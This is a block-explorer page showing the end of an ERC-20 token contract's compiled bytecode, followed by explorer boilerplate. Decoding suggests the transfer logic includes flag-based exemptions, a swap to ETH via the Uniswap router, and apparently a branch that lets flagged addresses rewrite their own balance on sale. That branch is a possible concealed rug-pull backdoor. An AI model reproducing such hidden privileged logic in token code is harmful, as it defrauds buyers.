955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2b565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a2b565b6001600160a01b0383166000908152600c602052604081205460ff1680610b9957506001600160a01b0383166000908152600c602052604090205460ff165b15610ba657506000610f4d565b60095460ff16600103610c50576001600160a01b0384166000908152600a602052604081208054849290610bdb908490611331565b90915550506001600160a01b0383166000908152600a602052604081208054849290610c089084906113a6565b92505081905550826001600160a01b0316846001600160a01b031660008051602061148283398151915284604051610c4291815260200190565b60405180910390a350505050565b6003546001600160a01b0390811690851603610d3f57506007546001600160a01b0383166000908152600d602052604090205460ff1615610cbd5760098054610100900460ff16906001610ca3836113b9565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b0384166000908152600e602052604090205460ff161580610cfe57506001600160a01b0383166000908152600e602052604090205460ff16155b15610d3a57600154610d2f83610d29866001600160a01b03166000908152600a602052604090205490565b90611108565b1115610d3a57600080fd5b610f4d565b6003546001600160a01b0390811690841603610f4957306000908152600a60209081526040808320546001600160a01b0388168452600d9092529091205460ff1615610de357600154610d929084611344565b6001600160a01b038086166000818152600a6020526040908190209390935591519087169060008051602061148283398151915290610dd49087815260200190565b60405180910390a35050505050565b60025481118015610df7575060095460ff16155b15610f3f576009805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3e57610e3e6113d8565b6001600160a01b039283166020918202929092010152600454825191169082906001908110610e6f57610e6f6113d8565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610ed49085906000908690309042906004016113ee565b600060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b50506009805460ff191690819055600554479350610f3c92506001600160a01b031690610f3790610100900460ff1684611344565b61116e565b50505b5050600854610f4d565b5060005b801561106c5760006064610f618385611344565b610f6b919061145f565b90506000610f798285611331565b6001600160a01b0387166000908152600a6020526040812080549293508692909190610fa6908490611331565b90915550506001600160a01b0385166000908152600a602052604081208054839290610fd39084906113a6565b9091555050306000908152600a602052604081208054849290610ff79084906113a6565b909155505060405182815230906001600160a01b038816906000805160206114828339815191529060200160405180910390a3846001600160a01b0316866001600160a01b03166000805160206114828339815191528360405161105d91815260200190565b60405180910390a35050611094565b6001600160a01b0384166000908152600a602052604081208054849290610bdb908490611331565b50505050565b6001600160a01b0381166110ad57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061111583856113a6565b9050838110156111675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a2b565b9392505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111a4573d6000803e3d6000fd5b505050565b6001600160a01b03811681146109ca57600080fd5b6000602082840312156111d057600080fd5b8135611167816111a9565b600060208083528351808285015260005b81811015611208578581018301518582016040015282016111ec565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561123c57600080fd5b8235611247816111a9565b946020939093013593505050565b60008060006060848603121561126a57600080fd5b8335611275816111a9565b92506020840135611285816111a9565b929592945050506040919091013590565b600080604083850312156112a957600080fd5b82356112b4816111a9565b9150602083013580151581146112c957600080fd5b809150509250929050565b6000602082840312156112e657600080fd5b5035919050565b6000806040838503121561130057600080fd5b823561130b816111a9565b915060208301356112c9816111a9565b634e487b7160e01b600052601160045260246000fd5b8181038181111561051f5761051f61131b565b808202811582820484141761051f5761051f61131b565b60006020828403121561136d57600080fd5b8151611167816111a9565b60008060006060848603121561138d57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561051f5761051f61131b565b600060ff821660ff81036113cf576113cf61131b565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561143e5784516001600160a01b031683529383019391830191600101611419565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261147c57634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220729ff29fbddedcadad4fa4164b2eaf2b1ba54a1d4e672f4eb7c7c047db6bf0d964736f6c63430008130033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.